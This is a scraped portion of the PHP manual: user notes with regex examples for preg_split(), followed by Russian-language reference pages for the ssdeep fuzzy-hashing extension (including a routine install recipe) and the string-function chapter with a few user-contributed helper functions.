This regular expression will split a long string of words into an array of sub-strings, of some maximum length, but only on word-boundries.

I use the reg-ex with preg_match_all(); but, I'm posting this example here (on the page for preg_split()) because that's where I looked when I wanted to find a way to do this.

Hope it saves someone some time.

<?php
// example of a long string of words
$long_string = 'Your IP Address will be logged with the submitted note and made public on the PHP manual user notes mailing list. The IP address is logged as part of the notes moderation process, and won\'t be shown within the PHP manual itself.';

// "word-wrap" at, for example, 60 characters or less
$max_len = 60;

// this regular expression will split $long_string on any sub-string of
// 1-or-more non-word characters (spaces or punctuation)
if(preg_match_all("/.{1,{$max_len}}(?=\W+)/", $long_string, $lines) !== False) {

    // $lines now contains an array of sub-strings, each will be approx.
    // $max_len characters - depending on where the last word ended and
    // the number of 'non-word' characters found after the last word
    for ($i=0; $i < count($lines[0]); $i++) {
        echo "[$i] {$lines[0][$i]}\n";
    }
}
?>
markac 11-Jan-2015 04:08
Split string into words.

<?php
$string = 'This - is a, very dirty "string" :-)';

// split into words
$wordlist = preg_split('/\W/', $string, 0, PREG_SPLIT_NO_EMPTY);

// returns only words that have minimum 2 chars
$wordlist = array_filter($wordlist, function($val) {
  return strlen($val) >= 2;
});

// print
var_dump($wordlist);
?>

Result:

array (size=5)
  0 => string 'This' (length=4)
  1 => string 'is' (length=2)
  3 => string 'very' (length=4)
  4 => string 'dirty' (length=5)
  5 => string 'string' (length=6)
Miller 24-Feb-2014 05:25
This is a function to truncate a string of text while preserving the whitespace (for instance, getting an excerpt from an article while maintaining newlines). It will not jive well with HTML, of course.

<?php
/**
 * Truncates a string of text by word count
 * @param string $text The text to truncate
 * @param int $max_words The maximum number of words
 * @return string The truncated text
 */
function limit_words ($text, $max_words) {
    $split = preg_split('/(\s+)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
    $truncated = '';
    for ($i = 0; $i < min(count($split), $max_words*2); $i += 2) {
        $truncated .= $split[$i].$split[$i+1];
    }
    return trim($truncated);
}
?>
david dot binovec at gmail dot com 26-Jun-2011 06:38
Limit = 1 may be confusing. The important thing is that in case of limit equals to 1 will produce only ONE substring. Ergo the only one substring will be the first one as well as the last one. Tnat the rest of the string (after the first delimiter) will be placed to the last substring. But last is the first and only one.

<?php

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 1);

echo $output[0] //will return whole string!;

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 2);

echo $output[0] //will return 1;
echo $output[1] //will return '2 3 4 5 6 7 8';

?>
eric at clarinova dot com 24-Jun-2011 03:04
Here is another way to split a CamelCase string, which is a simpler expression than the one using lookaheads and lookbehinds:

preg_split('/([[:upper:]][[:lower:]]+)/', $last, null, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY)

It makes the entire CamelCased word the delimiter, then returns the delimiters (PREG_SPLIT_DELIM_CAPTURE) and omits the empty values between the delimiters (PREG_SPLIT_NO_EMPTY)
PhoneixSegovia at gmail dot com 26-Nov-2010 04:38
You must be caution when using lookbehind to a variable match.
For example:
'/(?<!\\\)\r?\n)/'
 to match a new line when not \ is before it don't go as spected as it match \r as the lookbehind (becouse isn't a \) and is optional before \n.

You must use this for example:
'/((?<!\\\|\r)\n)|((?<!\\\)\r\n)/'
That match a alone \n (not preceded by \r or \) or a \r\n not preceded by a \.
Daniel Schroeder 03-Nov-2010 03:46
If you want to split by a char, but want to ignore that char in case it is escaped, use a lookbehind assertion.

In this example a string will be split by ":" but "\:" will be ignored:

<?php
$string='a:b:c\:d';
$array=preg_split('#(?<!\\\)\:#',$string);
print_r($array);
?>

Results into:

Array
(
    [0] => a
    [1] => b
    [2] => c\:d
)
jan dot sochor at icebolt dot info 24-Oct-2009 03:26
Sometimes PREG_SPLIT_DELIM_CAPTURE does strange results.

<?php
$content = '<strong>Lorem ipsum dolor</strong> sit <img src="test.png" />amet <span class="test" style="color:red">consec<i>tet</i>uer</span>.';
$chars = preg_split('/<[^>]*[^\/]>/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars);
?>
Produces:
Array
(
    [0] => Lorem ipsum dolor
    [1] =>  sit <img src="test.png" />amet
    [2] => consec
    [3] => tet
    [4] => uer
)

So that the delimiter patterns are missing. If you wanna get these patters remember to use parentheses.

<?php
$chars = preg_split('/(<[^>]*[^\/]>)/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars); //parentheses added
?>
Produces:
Array
(
    [0] => <strong>
    [1] => Lorem ipsum dolor
    [2] => </strong>
    [3] =>  sit <img src="test.png" />amet
    [4] => <span class="test" style="color:red">
    [5] => consec
    [6] => <i>
    [7] => tet
    [8] => </i>
    [9] => uer
    [10] => </span>
    [11] => .
)
php at dmi dot me dot uk 06-Oct-2009 01:23
To split a camel-cased string using preg_split() with lookaheads and lookbehinds:

<?php
function splitCamelCase($str) {
  return preg_split('/(?<=\\w)(?=[A-Z])/', $str);
}
?>
buzoganylaszlo at yahoo dot com 01-Aug-2009 12:57
Extending m.timmermans's solution, you can use the following code as a search expression parser:

<?php
$search_expression = "apple bear \"Tom Cruise\" or 'Mickey Mouse' another word";
$words = preg_split("/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|" . "[\s,]*'([^']+)'[\s,]*|" . "[\s,]+/", $search_expression, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($words);
?>

The result will be:
Array
(
    [0] => apple
    [1] => bear
    [2] => Tom Cruise
    [3] => or
    [4] => Mickey Mouse
    [5] => another
    [6] => word
)

1. Accepted delimiters: white spaces (space, tab, new line etc.) and commas.

2. You can use either simple (') or double (") quotes for expressions which contains more than one word.
kenorb at gmail dot com 23-May-2009 07:56
If you need convert function arguments without default default values and references, you can try this code:

<?php
    $func_args = '$node, $op, $a3 = NULL, $form = array(), $a4 = NULL'
    $call_arg = preg_match_all('@(?<func_arg>\$[^,= ]+)@i', $func_args, $matches);
    $call_arg = implode(',', $matches['func_arg']);
?>
Result: string = "$node,$op,$a3,$form,$a4"
csaba at alum dot mit dot edu 17-Mar-2009 01:06
If the task is too complicated for preg_split, preg_match_all might come in handy, since preg_split is essentially a special case.

I wanted to split a string on a certain character (asterisk), but only if it wasn't escaped (by a preceding backslash).  Thus, I should ensure an even number of backslashes before any asterisk meant as a splitter.  Look-behind in a regular expression wouldn't work since the length of the preceding backslash sequence can't be fixed.  So I turned to preg_match_all:

<?php
// split a string at unescaped asterisks
// where backslash is the escape character
$splitter = "/\\*((?:[^\\\\*]|\\\\.)*)/";
preg_match_all($splitter, "*$string", $aPieces, PREG_PATTERN_ORDER);
$aPieces = $aPieces[1];

// $aPieces now contains the exploded string
// and unescaping can be safely done on each piece
foreach ($aPieces as $idx=>$piece)
  $aPieces[$idx] = preg_replace("/\\\\(.)/s", "$1", $piece);
?>
Steve 23-Mar-2005 08:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

<?php print count(preg_split("/ /", "a b c d e ")); ?>

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au 25-Sep-2004 08:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

<?php
$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
?>

returns:

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4


Нечёткое хеширование ssdeep

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции ssdeep
    • ssdeep_fuzzy_compare — Вычисляет похожесть двух сигнатур нечётких хешей
    • ssdeep_fuzzy_hash_filename — Создание нечёткого хеша из файла
    • ssdeep_fuzzy_hash — Создаёт нечёткий хеш из строки

User Contributed Notes

There are no user contributed notes for this page.


Введение

ssdeep - это утилита для создания и сравнения нечётких хешей или » зависящее от контекста частичное хеширование.

Нечёткое хеширование может сравнивать сигнатуры, которые имеют "...последовательности одинаковых байт в одинаковом порядке, хотя байты этих последовательностей могут быть разными по содержанию и длине".(» страница проекта ssdeep)

Модуль предоставляет функции для создания и сравнения нечётких хешей.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модулю требуется библиотека » ssdeep.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/ssdeep.

User Contributed Notes

1manfactory at gmail dot com 06-Nov-2016 12:01
How to install ssdeep for PHP

- wget http://downloads.sourceforge.net/project/ssdeep/ssdeep-2.13/ssdeep-2.13.tar.gz
- tar zxvf ssdeep-2.13.tar.gz
- cd ssdeep-2.13
- ./configure
- make
- sudo make install
- ssdeep -h # test
- sudo pecl install ssdeep
- sudo sh -c "echo 'extension=ssdeep.so' >> /etc/php5/mods-available/ssdeep.ini"
- sudo php5enmod ssdeep
- sudo service apache2 restart


Функции ssdeep

Содержание

  • ssdeep_fuzzy_compare — Вычисляет похожесть двух сигнатур нечётких хешей
  • ssdeep_fuzzy_hash_filename — Создание нечёткого хеша из файла
  • ssdeep_fuzzy_hash — Создаёт нечёткий хеш из строки

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет похожесть двух сигнатур нечётких хешей

  • « Функции ssdeep
  • ssdeep_fuzzy_hash_filename »
  • PHP Manual
  • Функции ssdeep
  • Вычисляет похожесть двух сигнатур нечётких хешей

ssdeep_fuzzy_compare

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_compare — Вычисляет похожесть двух сигнатур нечётких хешей

Описание

ssdeep_fuzzy_compare(string $signature1, string $signature2): int

Вычисляет величину совпадения между signature1 и signature2, используя » контекстно-переключаемое частичное хеширование и возвращает её.

Список параметров

signature1

Первая строка с сигнатурой нечёткого хеширования.

signature2

Вторая строка с сигнатурой нечёткого хеширования.

Возвращаемые значения

Возвращает целое число в диапазоне от 0 до 100 в случае успешного выполнения или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Создание нечёткого хеша из файла

  • « ssdeep_fuzzy_compare
  • ssdeep_fuzzy_hash »
  • PHP Manual
  • Функции ssdeep
  • Создание нечёткого хеша из файла

ssdeep_fuzzy_hash_filename

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash_filename — Создание нечёткого хеша из файла

Описание

ssdeep_fuzzy_hash_filename(string $file_name): string

ssdeep_fuzzy_hash_filename() вычисляет хеш указанного файла file_name, используя » контекстно-переключаемое частичное хеширование и возвращает его значение.

Список параметров

file_name

Имя файла для хеширования.

Возвращаемые значения

Возвращает строку в случае успешного выполнения, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт нечёткий хеш из строки

  • « ssdeep_fuzzy_hash_filename
  • Строки »
  • PHP Manual
  • Функции ssdeep
  • Создаёт нечёткий хеш из строки

ssdeep_fuzzy_hash

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash — Создаёт нечёткий хеш из строки

Описание

ssdeep_fuzzy_hash(string $to_hash): string

ssdeep_fuzzy_hash() вычисляет хеш строки to_hash, используя » контекстно-переключаемое частичное хеширование и возвращает его.

Список параметров

to_hash

Строка для хеширования.

Возвращаемые значения

Возвращает строку в случае успешного выполнения, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Строки

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции для работы со строками
    • addcslashes — Экранирует строку слешами в стиле языка C
    • addslashes — Экранирует строку с помощью слешей
    • bin2hex — Преобразовывает двоичные данные в шестнадцатеричное представление
    • chop — Псевдоним rtrim
    • chr — Генерирует односимвольную строку по заданному числу
    • chunk_split — Разбивает строку на фрагменты
    • convert_cyr_string — Преобразовывает строку из одной кириллической кодировки в другую
    • convert_uudecode — Декодирует строку из формата uuencode в обычный вид
    • convert_uuencode — Кодирует строку в формат uuencode
    • count_chars — Возвращает информацию о символах, входящих в строку
    • crc32 — Вычисляет полином CRC32 для строки
    • crypt — Необратимое хеширование строки
    • echo — Выводит строки
    • explode — Разбивает строку разделителем
    • fprintf — Записывает отформатированную строку в поток
    • get_html_translation_table — Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
    • hebrev — Преобразовывает текст на иврите из логической кодировки в визуальную
    • hebrevc — Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки
    • hex2bin — Преобразовывает шестнадцатеричные данные в двоичные
    • html_entity_decode — Преобразовывает HTML-сущности в символы
    • htmlentities — Преобразовывает возможные символы в HTML-сущности
    • htmlspecialchars_decode — Преобразовывает специальные HTML-сущности обратно в символы
    • htmlspecialchars — Преобразовывает специальные символы в HTML-сущности
    • implode — Объединяет элементы массива в строку
    • join — Псевдоним implode
    • lcfirst — Преобразовывает первый символ строки в нижний регистр
    • levenshtein — Вычисляет расстояние Левенштейна между двумя строками
    • localeconv — Возвращает информацию о форматировании чисел
    • ltrim — Удаляет пробелы (или другие символы) из начала строки
    • md5_file — Возвращает MD5-хеш файла
    • md5 — Возвращает MD5-хеш строки
    • metaphone — Возвращает ключ metaphone для строки
    • money_format — Форматирует число как денежную величину
    • nl_langinfo — Возвращает информацию о языке и локали
    • nl2br — Вставляет HTML-код разрыва строки перед каждым переводом строки
    • number_format — Форматирует число с группировкой классов многозначного числа
    • ord — Конвертирует первый байт строки в число от 0 до 255
    • parse_str — Разбирает строку в переменные
    • print — Выводит строку
    • printf — Выводит отформатированную строку
    • quoted_printable_decode — Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку
    • quoted_printable_encode — Преобразовывает 8-битную строку методом quoted-printable
    • quotemeta — Экранирует специальные символы
    • rtrim — Удаляет пробелы (или другие символы) из конца строки
    • setlocale — Устанавливает региональные настройки
    • sha1_file — Возвращает SHA1-хеш файла
    • sha1 — Возвращает SHA1-хеш строки
    • similar_text — Вычисляет степень похожести двух строк
    • soundex — Возвращает ключ soundex для строки
    • sprintf — Возвращает отформатированную строку
    • sscanf — Разбирает строку в соответствии с заданным форматом
    • str_contains — Определяет, содержит ли строка заданную подстроку
    • str_decrement — Уменьшает на единицу буквенно-цифровую строку
    • str_ends_with — Проверяет, заканчивается ли строка заданной подстрокой
    • str_getcsv — Разбирает CSV-строку в массив
    • str_increment — Увеличивает на единицу буквенно-цифровую строку
    • str_ireplace — Регистронезависимый вариант функции str_replace
    • str_pad — Дополняет строку другой строкой до заданной длины
    • str_repeat — Возвращает повторяющуюся строку
    • str_replace — Заменяет вхождения строки поиска строкой замены
    • str_rot13 — Выполняет преобразование ROT13 над строкой
    • str_shuffle — Переставляет символы в строке случайным образом
    • str_split — Преобразовывает строку в массив
    • str_starts_with — Проверяет, начинается ли строка с заданной подстроки
    • str_word_count — Возвращает информацию о словах, входящих в строку
    • strcasecmp — Бинарно-безопасное сравнение строк без учёта регистра
    • strchr — Псевдоним strstr
    • strcmp — Бинарно-безопасное сравнение строк
    • strcoll — Сравнение строк с учётом текущей локали
    • strcspn — Возвращает длину участка в начале строки, не соответствующего маске
    • strip_tags — Удаляет теги HTML и PHP из строки
    • stripcslashes — Удаляет экранирование символов, произведённое функцией addcslashes
    • stripos — Возвращает позицию первого вхождения подстроки без учёта регистра
    • stripslashes — Удаляет экранирование символов
    • stristr — Регистронезависимый вариант функции strstr
    • strlen — Получает длину строки
    • strnatcasecmp — Сравнение строк без учёта регистра с использованием алгоритма "natural order"
    • strnatcmp — Сравнение строк с использованием алгоритма "natural order"
    • strncasecmp — Бинарно-безопасное сравнение первых n символов строк без учёта регистра
    • strncmp — Бинарно-безопасное сравнение первых n символов строк
    • strpbrk — Ищет в строке любой символ из заданного набора
    • strpos — Возвращает позицию первого вхождения подстроки
    • strrchr — Находит последнее вхождение символа в строке
    • strrev — Переворачивает строку задом наперёд
    • strripos — Возвращает позицию последнего вхождения подстроки без учёта регистра
    • strrpos — Возвращает позицию последнего вхождения подстроки в строке
    • strspn — Возвращает длину участка в начале строки, полностью соответствующего маске
    • strstr — Находит первое вхождение подстроки
    • strtok — Разбивает строку на токены
    • strtolower — Преобразовывает строку в нижний регистр
    • strtoupper — Преобразовывает строку в верхний регистр
    • strtr — Преобразовывает заданные символы или заменяет подстроки
    • substr_compare — Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
    • substr_count — Возвращает число вхождений подстроки
    • substr_replace — Заменяет часть строки
    • substr — Возвращает подстроку
    • trim — Удаляет пробелы (или другие символы) из начала и конца строки
    • ucfirst — Преобразовывает первый символ строки в верхний регистр
    • ucwords — Преобразовывает в верхний регистр первый символ каждого слова в строке
    • utf8_decode — Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы
    • utf8_encode — Преобразовывает строку из ISO-8859-1 в UTF-8
    • vfprintf — Записывает отформатированную строку в поток
    • vprintf — Выводит отформатированную строку
    • vsprintf — Возвращает отформатированную строку
    • wordwrap — Переносит строку по указанному количеству символов
  • Список изменений

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции предназначены для выполнения различных манипуляций со строками. Более специализированные функции смотрите в разделах, посвящённых регулярным выражениям и обработке URL.

Для получения общей информации о работе со строками, особенно об использовании одиночных, двойных кавычек и экранировании символов, смотрите главу Строки в разделе Типы .

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования этих функций не требуется проведение установки, поскольку они являются частью ядра PHP.

Начиная с PHP 8.1.0, функция crypt() может быть собрана на основе системной крипто библиотеки, с помощью опции конфигурации --with-external-libcrypt.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

CRYPT_SALT_LENGTH (int)
CRYPT_STD_DES (int)
Указывает, поддерживаются ли стандартные хеши на основе DES в функции crypt(). Всегда 1.
CRYPT_EXT_DES (int)
Указывает, поддерживаются ли расширенные хеши на основе DES в функции crypt(). Всегда 1.
CRYPT_MD5 (int)
Указывает, поддерживаются ли хеши MD5 в функции crypt(). Всегда 1.
CRYPT_BLOWFISH (int)
Указывает, поддерживаются ли хеши Blowfish в функции crypt(). Всегда 1.
CRYPT_SHA256 (int)
Указывает, поддерживаются ли хеши SHA-256 в функции crypt(). Всегда 1.
CRYPT_SHA512 (int)
Указывает, поддерживаются ли хеши SHA-512 в функции crypt(). Всегда 1.
HTML_SPECIALCHARS ((int))
HTML_ENTITIES ((int))
ENT_COMPAT ((int))
ENT_QUOTES ((int))
ENT_NOQUOTES ((int))
ENT_IGNORE ((int))
ENT_SUBSTITUTE ((int))
ENT_DISALLOWED ((int))
ENT_HTML401 ((int))
ENT_XML1 ((int))
ENT_XHTML ((int))
ENT_HTML5 ((int))
CHAR_MAX ((int))
LC_CTYPE ((int))
LC_NUMERIC ((int))
LC_TIME ((int))
LC_COLLATE ((int))
LC_MONETARY ((int))
LC_ALL ((int))
LC_MESSAGES ((int))
STR_PAD_LEFT ((int))
STR_PAD_RIGHT ((int))
STR_PAD_BOTH ((int))

User Contributed Notes

There are no user contributed notes for this page.


Функции для работы со строками

Смотрите также

Для получения информации о более сложной обработке строк обратитесь к функциями Perl-совместимых регулярных выражений. Для работы с многобайтовыми кодировками посмотрите на функции по работе с многобайтовыми кодировками.

Содержание

  • addcslashes — Экранирует строку слешами в стиле языка C
  • addslashes — Экранирует строку с помощью слешей
  • bin2hex — Преобразовывает двоичные данные в шестнадцатеричное представление
  • chop — Псевдоним rtrim
  • chr — Генерирует односимвольную строку по заданному числу
  • chunk_split — Разбивает строку на фрагменты
  • convert_cyr_string — Преобразовывает строку из одной кириллической кодировки в другую
  • convert_uudecode — Декодирует строку из формата uuencode в обычный вид
  • convert_uuencode — Кодирует строку в формат uuencode
  • count_chars — Возвращает информацию о символах, входящих в строку
  • crc32 — Вычисляет полином CRC32 для строки
  • crypt — Необратимое хеширование строки
  • echo — Выводит строки
  • explode — Разбивает строку разделителем
  • fprintf — Записывает отформатированную строку в поток
  • get_html_translation_table — Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
  • hebrev — Преобразовывает текст на иврите из логической кодировки в визуальную
  • hebrevc — Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки
  • hex2bin — Преобразовывает шестнадцатеричные данные в двоичные
  • html_entity_decode — Преобразовывает HTML-сущности в символы
  • htmlentities — Преобразовывает возможные символы в HTML-сущности
  • htmlspecialchars_decode — Преобразовывает специальные HTML-сущности обратно в символы
  • htmlspecialchars — Преобразовывает специальные символы в HTML-сущности
  • implode — Объединяет элементы массива в строку
  • join — Псевдоним implode
  • lcfirst — Преобразовывает первый символ строки в нижний регистр
  • levenshtein — Вычисляет расстояние Левенштейна между двумя строками
  • localeconv — Возвращает информацию о форматировании чисел
  • ltrim — Удаляет пробелы (или другие символы) из начала строки
  • md5_file — Возвращает MD5-хеш файла
  • md5 — Возвращает MD5-хеш строки
  • metaphone — Возвращает ключ metaphone для строки
  • money_format — Форматирует число как денежную величину
  • nl_langinfo — Возвращает информацию о языке и локали
  • nl2br — Вставляет HTML-код разрыва строки перед каждым переводом строки
  • number_format — Форматирует число с группировкой классов многозначного числа
  • ord — Конвертирует первый байт строки в число от 0 до 255
  • parse_str — Разбирает строку в переменные
  • print — Выводит строку
  • printf — Выводит отформатированную строку
  • quoted_printable_decode — Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку
  • quoted_printable_encode — Преобразовывает 8-битную строку методом quoted-printable
  • quotemeta — Экранирует специальные символы
  • rtrim — Удаляет пробелы (или другие символы) из конца строки
  • setlocale — Устанавливает региональные настройки
  • sha1_file — Возвращает SHA1-хеш файла
  • sha1 — Возвращает SHA1-хеш строки
  • similar_text — Вычисляет степень похожести двух строк
  • soundex — Возвращает ключ soundex для строки
  • sprintf — Возвращает отформатированную строку
  • sscanf — Разбирает строку в соответствии с заданным форматом
  • str_contains — Определяет, содержит ли строка заданную подстроку
  • str_decrement — Уменьшает на единицу буквенно-цифровую строку
  • str_ends_with — Проверяет, заканчивается ли строка заданной подстрокой
  • str_getcsv — Разбирает CSV-строку в массив
  • str_increment — Увеличивает на единицу буквенно-цифровую строку
  • str_ireplace — Регистронезависимый вариант функции str_replace
  • str_pad — Дополняет строку другой строкой до заданной длины
  • str_repeat — Возвращает повторяющуюся строку
  • str_replace — Заменяет вхождения строки поиска строкой замены
  • str_rot13 — Выполняет преобразование ROT13 над строкой
  • str_shuffle — Переставляет символы в строке случайным образом
  • str_split — Преобразовывает строку в массив
  • str_starts_with — Проверяет, начинается ли строка с заданной подстроки
  • str_word_count — Возвращает информацию о словах, входящих в строку
  • strcasecmp — Бинарно-безопасное сравнение строк без учёта регистра
  • strchr — Псевдоним strstr
  • strcmp — Бинарно-безопасное сравнение строк
  • strcoll — Сравнение строк с учётом текущей локали
  • strcspn — Возвращает длину участка в начале строки, не соответствующего маске
  • strip_tags — Удаляет теги HTML и PHP из строки
  • stripcslashes — Удаляет экранирование символов, произведённое функцией addcslashes
  • stripos — Возвращает позицию первого вхождения подстроки без учёта регистра
  • stripslashes — Удаляет экранирование символов
  • stristr — Регистронезависимый вариант функции strstr
  • strlen — Получает длину строки
  • strnatcasecmp — Сравнение строк без учёта регистра с использованием алгоритма "natural order"
  • strnatcmp — Сравнение строк с использованием алгоритма "natural order"
  • strncasecmp — Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • strncmp — Бинарно-безопасное сравнение первых n символов строк
  • strpbrk — Ищет в строке любой символ из заданного набора
  • strpos — Возвращает позицию первого вхождения подстроки
  • strrchr — Находит последнее вхождение символа в строке
  • strrev — Переворачивает строку задом наперёд
  • strripos — Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strrpos — Возвращает позицию последнего вхождения подстроки в строке
  • strspn — Возвращает длину участка в начале строки, полностью соответствующего маске
  • strstr — Находит первое вхождение подстроки
  • strtok — Разбивает строку на токены
  • strtolower — Преобразовывает строку в нижний регистр
  • strtoupper — Преобразовывает строку в верхний регистр
  • strtr — Преобразовывает заданные символы или заменяет подстроки
  • substr_compare — Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
  • substr_count — Возвращает число вхождений подстроки
  • substr_replace — Заменяет часть строки
  • substr — Возвращает подстроку
  • trim — Удаляет пробелы (или другие символы) из начала и конца строки
  • ucfirst — Преобразовывает первый символ строки в верхний регистр
  • ucwords — Преобразовывает в верхний регистр первый символ каждого слова в строке
  • utf8_decode — Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы
  • utf8_encode — Преобразовывает строку из ISO-8859-1 в UTF-8
  • vfprintf — Записывает отформатированную строку в поток
  • vprintf — Выводит отформатированную строку
  • vsprintf — Возвращает отформатированную строку
  • wordwrap — Переносит строку по указанному количеству символов

User Contributed Notes

lrirwin at alum dot wustl dot edu 25-Aug-2021 05:44
I'm converting 30 year old code and needed a string TAB function:

  //tab function similar to TAB used in old BASIC languages
  //though some of them did not truncate if the string were
  //longer than the requested position
  function tab($instring="",$topos=0){
    if(strlen($instring)<$topos){
      $result=str_pad($instring,$topos-1," ",STR_PAD_RIGHT);
    }else{
      $result=substr($instring,0,$topos-1);
    }
    return $result;
  }

  $pline="String with this tab to 50 and";
  $tline=tab($pline,50)."finish it.";
  echo $tline.PHP_EOL;
  $pline="101010101020202020203030303030404040404050505050506060606060";
  $tline=tab($pline,50)."finish it.";
  echo $tline.PHP_EOL;

  //Results in this output:
  //String with this tab to 50 and                   finish it.
  //1010101010202020202030303030304040404040505050505finish it.
str at maphpia dot com 03-Jul-2013 08:19
I was looking for a function to find the common substring in 2 different strings. I tried both the mb_string_intersect and string_intersect functions listed here but didn't work for me. I found the algorithm at http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP so here I post you the function

<?php

/**
 * Finds the matching string between 2 strings
 *
 * @param string $string1
 * @param string $string2
 * @param number $minChars
 *
 * @return NULL|string
 *
 * @link http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP
 */
function string_intersect($string_1, $string_2)
{
    $string_1_length = strlen($string_1);
    $string_2_length = strlen($string_2);
    $return          = "";

    if ($string_1_length === 0 || $string_2_length === 0) {
        // No similarities
        return $return;
    }

    $longest_common_subsequence = array();

    // Initialize the CSL array to assume there are no similarities
    for ($i = 0; $i < $string_1_length; $i++) {
        $longest_common_subsequence[$i] = array();
        for ($j = 0; $j < $string_2_length; $j++) {
            $longest_common_subsequence[$i][$j] = 0;
        }
    }

    $largest_size = 0;

    for ($i = 0; $i < $string_1_length; $i++) {
        for ($j = 0; $j < $string_2_length; $j++) {
            // Check every combination of characters
            if ($string_1[$i] === $string_2[$j]) {
                // These are the same in both strings
                if ($i === 0 || $j === 0) {
                    // It's the first character, so it's clearly only 1 character long
                    $longest_common_subsequence[$i][$j] = 1;
                } else {
                    // It's one character longer than the string from the previous character
                    $longest_common_subsequence[$i][$j] = $longest_common_subsequence[$i - 1][$j - 1] + 1;
                }

                if ($longest_common_subsequence[$i][$j] > $largest_size) {
                    // Remember this as the largest
                    $largest_size = $longest_common_subsequence[$i][$j];
                    // Wipe any previous results
                    $return       = "";
                    // And then fall through to remember this new value
                }

                if ($longest_common_subsequence[$i][$j] === $largest_size) {
                    // Remember the largest string(s)
                    $return = substr($string_1, $i - $largest_size + 1, $largest_size);
                }
            }
            // Else, $CSL should be set to 0, which it was already initialized to
        }
    }

    // Return the list of matches
    return $return;
}
Tomek Rychtyk 08-Feb-2012 09:58
Get the intersection of two strings using array_intersect

<?php

function string_intersect($string1, $string2)
{
    $array1 = $array2 = array();

    for($i = 0, $j = 0, $s1_len = strlen($string1), $s2_len = strlen($string2);($i < $s1_len) || ($j < $s2_len); $i++, $j++) {
        if($i < $s1_len) {
            $array1[] = $string1[$i];
        }
        if($j < $s2_len) {
            $array2[] = $string2[$j];
        }
    }

    return implode('', array_intersect($array1, $array2));
}

?>

For more advanced comparison you can use array_uintersect as well.
Stephen Dewey 19-Nov-2008 05:33
If you want a function to return all text in a string up to the Nth occurrence of a substring, try the below function.

Works in PHP >= 5.

(Pommef provided another sample function for this purpose below, but I believe it is incorrect.)

<?php

// Returns all of $haystack up to (but excluding) the $n_occurrence occurrence of $needle. Therefore:
//        If there are < $n_occurrence occurrences of $needle in $haystack, the entire string will be returned.
//        If there are >= $n_occurrence occurrences of $needle in $haystack, the returned string will end before the $n_occurrence'th needle.
// This function only makes sense for $n_occurrence >= 1
function nsubstr($needle, $haystack, $n_occurrence)
{
    // After exploding by $needle, every entry in $arr except (possibly) part of the last entry should have its content returned.
    $arr = explode($needle,$haystack,$n_occurrence);
    // Examine last entry in $arr. If it contains $needle, cut out all text except for the text before $needle.
    $last = count($arr) - 1;
    $pos_in_last = strpos($arr[$last],$needle);

    if ($pos_in_last !== false)
        $arr[$last] = substr($arr[$last],0,$pos_in_last);

    return implode($needle,$arr);
}

$string = 'd24jkdslgjldk2424jgklsjg24jskgldjk24';

print 'S:  ' . $string . '<br>';
print '1: ' . nsubstr('24',$string,1) . '<br>';
print '2: ' . nsubstr('24',$string,2) . '<br>';
print '3: ' . nsubstr('24',$string,3) . '<br>';
print '4: ' . nsubstr('24',$string,4) . '<br>';
print '5: ' . nsubstr('24',$string,5) . '<br>';
print '6: ' . nsubstr('24',$string,6) . '<br>';
